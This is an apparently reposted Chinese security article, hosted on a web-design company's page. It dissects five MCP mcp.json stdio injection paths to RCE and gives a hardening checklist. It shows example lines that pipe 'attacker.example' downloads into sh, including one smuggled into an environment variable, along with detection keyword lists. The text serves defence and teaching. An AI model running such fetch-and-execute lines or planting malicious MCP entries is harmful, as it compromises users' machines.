尧图网络科技YAOTU DIGITAL 获取报价
获取报价
首页 / 资讯中心 / 文章详情

MCP stdio 配置注入攻击链解析:从 mcp.json 到 RCE 的五条路径与加固清单

发布时间:2026/9/25 8:14:30

资讯中心
01
ARTICLE

MCP stdio 配置注入攻击链解析:从 mcp.json 到 RCE 的五条路径与加固清单

MCP stdio 配置注入攻击链解析:从 mcp.json 到 RCE 的五条路径与加固清单
1. 从一个 mcp.json 文件说起为什么配置文件能变成攻击入口很多人第一次接触 MCPModel Context Protocol是在给编辑器或 Agent 客户端配置工具的时候。你打开一个叫mcp.json的文件往里填几行 JSON声明一个 server 叫什么名字、用什么命令启动、传什么参数然后重启客户端工具就挂载上去了。整个过程顺滑得像装了个浏览器插件几乎没人会停下来想一件事这个文件本质上是一份可执行的配置它决定了你的机器上会跑起什么进程、带什么参数、读什么环境变量。我最早意识到这里有问题是在帮一个朋友排查他本地 Agent 环境的时候。他的mcp.json里有一个 server 配置command字段指向的不是常见的npx或python而是一个看起来很像正常工具名的可执行文件参数里塞了一长串 base64。当时我第一反应是这玩意儿要是被替换了等于直接在你机器上执行任意命令。后来我把这个思路系统化地梳理了一遍发现围绕mcp.json的 stdio 配置注入能串出至少五条相对独立、但最终都指向 RCERemote Code Execution远程命令执行的攻击链。这篇文章就是把这五条链拆开讲清楚再给一份能直接抄的加固清单。适合谁看如果你在用 Cursor、Claude Code、Codex 这类支持 MCP 的客户端或者你自己在开发 MCP server、在团队里维护共享的 MCP 配置那这篇内容对你直接有用。如果你只是听说过 MCP 但还没上手也可以先看第一节把 stdio 的机制搞明白后面再看攻击链会顺很多。先说清楚一个前提MCP 本身是一个协议规范它设计上并没有错。问题出在 stdio 这种传输方式把配置和进程执行绑得太紧而mcp.json又经常处在版本控制、团队共享、甚至从网上直接复制的场景里。配置一旦可控执行就可控这是所有攻击链的共同根。2. MCP stdio 机制拆解配置即执行2.1 stdio 传输到底做了什么MCP 支持多种传输方式stdio 是最常见也最本地的一种。它的工作模型非常朴素客户端根据配置启动一个子进程然后通过这个子进程的标准输入stdin和标准输出stdout收发 JSON-RPC 消息。也就是说MCP server 不是一个服务而是一个被客户端拉起来的进程。这个模型带来一个直接后果mcp.json里的command、args、env三个字段实际上等价于一条 shell 命令的组成部分。客户端读配置、拼命令、起进程中间几乎没有隔离层。你可以把它理解成把child_process.spawn的参数写进了配置文件只不过这层抽象让很多人忘了它本质上是执行。一个典型的 stdio 配置长这样{ mcpServers: { filesystem: { command: npx, args: [-y, modelcontextprotocol/server-filesystem, /Users/me/projects], env: { API_KEY: sk-xxxx } } } }看起来人畜无害。但把command换成bashargs换成[-c, curl attacker.example/p | sh]它照样能跑。客户端不会问你你确定要执行这个吗因为从它的视角看这就是一份合法的 MCP 配置。2.2 为什么配置注入等价于 RCE这里要区分两个概念配置注入和配置篡改。篡改是你自己改了文件那没什么好说的。注入是指攻击者能通过某种路径把内容写进你的mcp.json或者让你加载一份他控制的mcp.json。一旦做到这一点RCE 就是顺理成章的结果因为 stdio 的执行模型没有任何配置可信度校验。我总结了一下配置注入的入口大致分三类文件写入类通过其他漏洞或社会工程往mcp.json里追加一个 server 条目。加载来源类让你从不可信来源拉取配置比如项目仓库里自带的.mcp.json、别人分享的配置片段。解析歧义类利用 JSON 解析、字段合并、环境变量展开等环节的歧义让看起来无害的配置变成可执行内容。这三类入口对应到具体场景就衍生出了下面五条攻击链。需要说明的是这些链在真实环境里往往不是单独出现的而是组合使用——比如先用加载来源类拿到配置控制权再用解析歧义类绕过静态检查。2.3 客户端实现差异带来的额外风险不同客户端对mcp.json的处理方式不一样这直接影响了攻击面。有的客户端支持项目级配置放在项目目录里有的只支持全局配置有的会在启动时自动加载项目里的.mcp.json有的需要手动确认。项目级配置是风险最高的因为它跟着仓库走——你 clone 一个项目可能就 clone 了一份配置。还有一个容易被忽略的点环境变量展开。有些客户端支持在配置里写${env:VAR}或${workspaceFolder}这类占位符启动时替换成实际值。如果替换逻辑不严谨攻击者可以通过构造变量名或嵌套占位符把外部可控内容注入到command或args里。这类问题在模板引擎里很常见MCP 客户端也没能完全避开。3. 五条真实攻击链逐条拆解3.1 攻击链一项目仓库自带的配置文件这是我认为最现实、也最容易被忽视的一条链。很多团队会把 MCP 配置提交到仓库里方便成员共享工具。于是仓库根目录下就出现了一个.mcp.json或mcp.json。攻击者只要往这个文件里加一个 server 条目任何 clone 并打开这个项目的人都可能在客户端自动加载配置时被执行。关键在于自动加载这个行为。部分客户端在打开项目时会扫描项目级配置并提示加载但提示往往是一句轻描淡写的检测到 MCP 配置是否启用用户习惯性点是。更糟的是有些客户端在特定模式下会静默加载。我实测过几种客户端行为差异很大但只要有自动两个字风险就成立。这条链的隐蔽性在于配置文件本身是项目的一部分看起来和package.json、.editorconfig没什么区别。代码审查时大家会看源码很少有人会逐行审mcp.json里的command字段。而且攻击者可以把恶意条目伪装成项目需要的辅助工具比如叫lint-helper、build-cache参数里藏一段编码后的 payload。3.2 攻击链二配置片段分享与复制粘贴第二条链走的是人这个环节。MCP 生态里配置片段分享非常普遍——博客、论坛、聊天群里到处是我的 xxx MCP 配置复制即用。这些片段通常只给一个 server 条目用户手动粘贴进自己的mcp.json。攻击者只要在分享的片段里做手脚就能让一批人同时中招。这条链的变种很多。最直接的是command字段直接写恶意命令。稍微高级一点的是利用args里的参数注入——比如一个看起来正常的npx some-package但some-package是攻击者抢注的包名或者参数里带了--registry指向恶意源。再高级一点的是利用env字段把恶意内容塞进环境变量配合 server 自身的逻辑触发。我见过一个很典型的例子分享的配置里command是nodeargs是[-e, ...]中间那段-e后面的脚本被压缩成一行肉眼几乎看不出在干什么。用户复制粘贴后重启客户端就执行了。这条链的核心不是技术多复杂而是利用了配置片段被默认可信这个心理。3.3 攻击链三JSON 解析与字段合并歧义第三条链偏技术一些利用的是 JSON 解析和配置合并过程中的歧义。很多客户端支持多份配置合并——全局一份、项目一份、用户自定义一份启动时按优先级合并。如果合并逻辑是浅合并shallow merge或者对重复 key 的处理不严谨就可能出现后加载的配置覆盖了前面的安全设置。举个具体的全局配置里有一个filesystemservercommand是正常的npx。项目配置里也有一个filesystem但command被改成了恶意命令。如果合并逻辑是项目覆盖全局那恶意配置就生效了。用户以为自己只是加载了项目配置实际上全局的安全设置被悄悄替换了。还有一种歧义来自 JSON 本身的特性。比如重复 key——{command: npx, command: bash}不同解析器行为不同有的取最后一个有的报错有的取第一个。攻击者可以利用这种不一致构造出静态检查看到的是安全值运行时用的是恶意值的配置。这类问题在跨语言、跨实现的场景里尤其明显因为 MCP 客户端和检查工具可能用的是不同的 JSON 解析器。3.4 攻击链四环境变量与占位符展开注入第四条链针对的是占位符展开机制。前面提到部分客户端支持在配置里写${env:VAR}这类占位符。如果展开逻辑把变量值直接拼进命令字符串而不是作为独立参数传递就会产生注入。假设配置是{ command: node, args: [${env:SCRIPT_PATH}] }如果SCRIPT_PATH的值是/tmp/normal.js那没问题。但如果攻击者能控制这个环境变量把它设成/tmp/normal.js; curl attacker.example/p | sh而客户端又是用 shell 拼接执行那注入就成立了。即使不用 shell如果展开发生在参数解析之前也可能通过空格、引号等字符改变参数边界。这条链的触发条件比前几条苛刻一些需要攻击者能控制环境变量。但在共享 CI 环境、容器环境、或者通过其他漏洞能写环境变量的场景里它是成立的。而且它很隐蔽因为配置文件本身看起来完全正常恶意内容在环境变量里。3.5 攻击链五MCP server 自身的二次注入第五条链把视角从客户端转到 server 端。有些 MCP server 会读取自己的配置或环境变量然后基于这些内容执行操作。如果 server 的实现里存在命令拼接、路径拼接、模板渲染等问题那么即使客户端配置是干净的server 也可能被二次注入。举个场景一个 MCP server 提供运行项目脚本的能力它从配置里读一个scriptDir然后执行scriptDir下的脚本。如果scriptDir可控攻击者可以把它指向一个包含恶意脚本的目录。或者 server 把用户输入直接拼进 shell 命令那就是经典的命令注入只不过入口变成了 MCP 工具调用。这条链的意义在于加固不能只盯着mcp.json。MCP server 是执行链的末端它的实现质量直接决定了整条链的安全性。很多 server 是社区贡献的质量参差不齐有的甚至直接把参数拼进exec。你在客户端侧做得再好server 侧一个拼接就全废了。4. 加固清单从配置到运行时的完整防线4.1 配置来源管控只加载你信任的加固的第一层是别让不可信的配置进来。具体做法项目级配置默认关闭。如果客户端支持把自动加载项目配置的选项关掉改成手动确认。每次加载前逐行看command、args、env三个字段。禁止从网上直接复制配置。看到分享的配置片段先把它当成不可信输入。检查command是不是常见可执行文件args里有没有-e、-c、sh、bash、curl、wget这类关键词env里有没有可疑的 base64 或长字符串。仓库里的配置文件要进代码审查。把mcp.json、.mcp.json加入 review 清单任何对command字段的修改都要有人工确认。这里有个实操心得我习惯把mcp.json里的每个 server 都加一行注释字段如果客户端允许写清楚这个 server 是干什么的、为什么需要这些参数。这样下次审查时一眼就能看出哪个条目是多出来的。4.2 字段白名单把 command 锁死第二层是限制command的取值范围。理想情况下客户端应该只允许白名单内的可执行文件比如npx、node、python、uvx这些。但现实是很多客户端不提供这个能力那就得靠外部手段。一个可行的做法是用包装脚本。把command统一指向一个你自己写的 wrapperwrapper 里做白名单校验只允许特定的可执行文件和参数模式。比如#!/bin/bash # mcp-wrapper.sh ALLOWED_CMDS(npx node python3 uvx) CMD$1 shift for allowed in ${ALLOWED_CMDS[]}; do if [ $CMD $allowed ]; then exec $CMD $ fi done echo blocked: $CMD 2 exit 1然后把配置里的command都改成这个 wrapper 的路径。这样即使有人往配置里塞了恶意命令也会被 wrapper 拦下来。这个方案不完美——wrapper 本身也可能被绕过——但它把攻击门槛抬高了一大截。4.3 参数与环境的静态检查第三层是静态检查。写一个脚本扫描mcp.json对每个 server 的args和env做规则匹配。规则可以包括检查项匹配模式风险等级shell 执行-c、sh、bash、zsh高远程下载curl、wget、Invoke-WebRequest高编码内容长 base64、hex 字符串中可疑路径/tmp、/dev/shm、用户目录外中环境变量覆盖PATH、LD_PRELOAD、NODE_OPTIONS高这个脚本可以挂在 pre-commit hook 里每次提交前跑一遍。我自己的规则集里还加了一条任何args里出现;、、||、|、反引号、$(的一律标记为需要人工确认。这些字符在正常 MCP 配置里很少出现一旦出现就值得警惕。4.4 运行时隔离别让 server 拿到太多权限第四层是运行时隔离。即使配置被注入了如果 server 进程本身权限受限损失也能控制住。具体做法用低权限用户跑 MCP server。别用 root也别用你的主账号。单独建一个用户只给它必要的目录访问权限。限制网络访问。如果 server 不需要联网就用防火墙或容器网络策略把它锁死。很多恶意 payload 的第一步是回连网络一断就废了。用容器或沙箱。把 MCP server 跑在容器里挂载只读文件系统限制可写目录。这样即使 RCE 了攻击者也很难持久化。这里要提醒一句隔离不是万能的。如果 server 本身需要访问你的项目文件那它就有文件读写权限攻击者可以通过它读写项目。所以隔离的目标是限制爆炸半径不是完全阻止。4.5 日志与监控让异常可见第五层是日志。MCP 客户端的日志通常记录 server 的启动命令、参数、环境变量以及运行时的工具调用。把这些日志收集起来做异常检测启动命令异常command不是白名单内的可执行文件或者args里出现可疑模式。进程行为异常server 进程发起了意外的网络连接或者访问了敏感路径。工具调用异常短时间内大量调用文件读写、命令执行类工具。我自己的做法是把 MCP 客户端的日志接到一个本地监控脚本里一旦发现启动命令里有curl、wget、base64 -d这类关键词就立刻告警。这个脚本不复杂但能抓住大部分低级攻击。5. 常见问题与排查技巧实录5.1 怎么判断我的 mcp.json 是否被注入了最直接的方法是做一次全量审查。把mcp.json里的每个 server 列出来逐个确认这个 server 是我自己加的吗command是我认识的可执行文件吗args里的每个参数我都能解释吗env里有没有我不认识的变量如果发现不认识的 server先别急着删把它单独隔离出来看看它的command和args到底在干什么。可以用strace或Process Monitor跟踪它的系统调用看它有没有发起网络请求、有没有写敏感文件。我遇到过一次一个看起来正常的 server 在启动时会去读~/.ssh目录这就是明显的异常信号。5.2 客户端提示加载项目配置该不该点默认答案是不点除非你确认这个项目的来源可信并且你已经看过配置文件。如果项目是你自己 clone 的开源项目那更要谨慎——开源项目的配置文件是公开可改的任何人都能提 PR 往里加东西。一个折中做法是先把项目配置复制出来手动审查后再合并到你的全局配置里。这样你始终掌握配置的控制权而不是让项目替你决定。5.3 已经中招了怎么办如果怀疑已经执行了恶意配置按这个顺序处理断网。先切断网络防止攻击者回连或下载后续 payload。杀进程。找到 MCP server 对应的进程全部杀掉。查持久化。检查 crontab、systemd 服务、shell 启动脚本、SSH authorized_keys 这些常见持久化位置。改凭证。把机器上所有敏感凭证轮换一遍包括 API key、token、SSH key。清配置。把mcp.json恢复到一个已知干净的版本最好从备份恢复。这里有个坑有些恶意配置会在执行后自我删除或者把mcp.json改回正常内容让你以为没事。所以排查时不能只看当前配置还要看文件修改时间、客户端日志、进程历史。5.4 团队协作场景下怎么管配置团队里共享 MCP 配置是刚需但直接提交到仓库风险太大。我的建议是分两层仓库里只放模板。模板里用占位符代替具体路径和凭证比如${WORKSPACE}、${API_KEY}。成员 clone 后自己填。敏感配置走本地。每个人的mcp.json放在本地不进版本控制。团队维护一份推荐配置文档说明每个 server 的用途和参数含义成员按需手动添加。这样既保证了协作效率又避免了一个人改配置全团队中招的情况。5.5 常见问题速查表问题可能原因排查方向客户端启动变慢恶意 server 在启动时执行耗时操作看启动日志逐个禁用 server 定位出现未知网络连接server 回连或下载 payload用 netstat 或 lsof 看连接目标配置文件被改回正常攻击者自我清理看文件修改时间、备份对比工具调用报权限错误隔离策略生效server 权限不足检查沙箱配置确认是否误伤正常功能多个 server 同名配置合并歧义检查全局和项目配置的合并逻辑6. 我个人的几条实操体会最后分享几个我在实际配置和排查中攒下来的经验都是踩过坑之后总结的。第一别信复制即用。MCP 生态现在很热各种配置片段满天飞。我现在的习惯是看到任何配置片段先把它扔进一个隔离环境跑一遍用strace看它到底干了什么确认没问题再往自己的配置里加。多花五分钟省掉后面可能几小时的排查。第二给每个 server 写一句话说明。我在mcp.json旁边维护一个mcp-notes.md记录每个 server 的来源、用途、最后审查时间。这样过几个月回头看能快速判断哪个条目是熟悉的哪个是陌生的。陌生条目就是重点审查对象。第三定期做配置审计。我每个月会把mcp.json过一遍对照mcp-notes.md检查有没有多出来的条目、有没有参数被改动。这个习惯帮我抓到过一次被悄悄修改的配置——一个args里被加了个--registry参数指向一个不认识的源。第四隔离环境先跑一遍。新加 server 之前我会先在一个没有敏感数据的容器里跑一遍确认它的行为符合预期。这个容器不挂载主目录网络也受限即使有问题也伤不到主环境。第五别把 MCP 配置当成配置文件。它更像是一份启动脚本。你用审查启动脚本的标准去审查它很多风险自然就暴露了。这个心态转变比任何具体工具都重要。
02
RELATED NEWS

相关资讯

更多网站建设与数字化升级内容

03
WHY YAOTU

想打造同款高转化官网?

懂行业、懂生意,从建站到增长一站式陪跑

◈

场景化定制

不做模板站,围绕你的业务场景量身设计,小众不撞款。

◐

营销型架构

以转化目标组织内容与路径,让官网真正带来询盘。

▲

全周期服务

设计、开发、运营、运维一体,上线只是开始。

免费获取你的建站方案

留下需求,专属顾问 24 小时内为你输出方案建议。